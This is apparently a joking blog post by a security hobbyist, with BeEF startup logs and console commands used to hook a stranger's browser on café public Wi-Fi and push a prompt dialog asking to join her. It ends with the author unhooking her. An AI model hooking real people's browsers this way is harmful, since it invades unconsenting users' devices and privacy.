AMol NAik Andrew Case Andre M. DiMino Attila Axt Bruce Schneier Didier Stevens Eric Romang Francois Ropert Gal Badishi Gianluca Brindisi Haroon Meer Krzysztof Kotowicz Lvdeijk Michael Ligh Mila Parkour Miroslav Stampar Pedro Vilaca Rich Lundeen Rob Fuller
Post with 1 note
Based on true story
One of many examples
you are in cafe with public wifi
% ./beef
[11:06:55][*] Browser Exploitation Framework (BeEF)
[11:06:55] | Version 0.4.3.7-alpha
[11:06:55] | Website http://beefproject.com
[11:06:55] | Run ‘beef -h’ for basic help.
[11:06:55] |_ Run ‘git pull’ to update to the latest revision.
[11:06:55][*] Successful connection with Metasploit.
[11:06:56][*] Loaded 204 Metasploit exploits.
[11:06:56][*] BeEF is loading. Wait a few seconds…
[11:06:56][*] 6 extensions loaded:
[11:06:56] | Console
[11:06:56] | Custom Hook Point with iFrame Impersonation
[11:06:56] | QR Code Generator
[11:06:56] | Evasion
[11:06:56] | Metasploit
[11:06:56] |_ Social Engineering
[11:06:56][*] 330 modules enabled.
[11:06:56][*] 2 network interfaces were detected.
[11:06:56][+] running on network interface: 127.0.0.1
[11:06:56] | Hook URL: http://127.0.0.1:3001/jahat.js
[11:06:56] |_ UI URL: http://127.0.0.1:3001/ui/panel
[11:06:56][+] running on network interface: 192.168.56.117
[11:06:56] | Hook URL: http://192.168.56.117:3001/jahat.js
[11:06:56] |_ UI URL: http://192.168.56.117:3001/ui/panel
[11:06:56][*] RESTful API key: 16c52b6803c0fc7d5220a523ed0ad37f4e651bea
[11:06:56][+] Successfully mounted a custom hook point
[11:06:56] | Mount Point: /lala
[11:06:56] |_ Loading iFrame: http://192.168.56.117
[11:06:56][+] QRCode images available for interface: 127.0.0.1
[11:06:56] |_ https://chart.googleapis.com/chart?cht=qr&chs=300x300&chl=http%3A%2F%2F127.0.0.1%3A3001%2Flala
[11:06:56][+] QRCode images available for interface: 192.168.56.117
[11:06:56] |_ https://chart.googleapis.com/chart?cht=qr&chs=300x300&chl=http%3A%2F%2F192.168.56.117%3A3001%2Flala
yeah,using beef
BeEF (192.168.56.132) [1] / Create Prompt Dialog > param question “sorry ganggu,ini yang di meja ujung pake laptop putih..boleh gabung gak?”
BeEF (192.168.56.132) [1] / Create Prompt Dialog > execute
[*] Command successfully queued
English : “sorry annoying,i’m the guy with white laptop..may i join?”
give smile to her
watch the log
[11:09:18][*] Hooked browser [id:1, ip:192.168.56.132] has been sent instructions from command module ‘Create Prompt Dialog’
[11:09:41][*] Hooked browser [id:1, ip:192.168.56.132] has executed instructions from command module ‘Create Prompt Dialog’
she reply your smile
BeEF (192.168.56.132) [1] / Create Prompt Dialog > response 1
Results retrieved: 2012-09-09 11:09:41 +0700
Response:
answer=boleh
English : sure
what you waiting for ? get closer to her,use your social engineering skills..
unhook her from your beef,don’t be evil..
End of Story
i’m going crazy for a while
ABOUT THE AUTHOR
Teguh is an idealist pwner living encrypted in Indonesia.
He is passionate about security and currently defeating the CWE top 25.
He also can be found on Google+, Twitter, GitHub, Shelfari and your libc.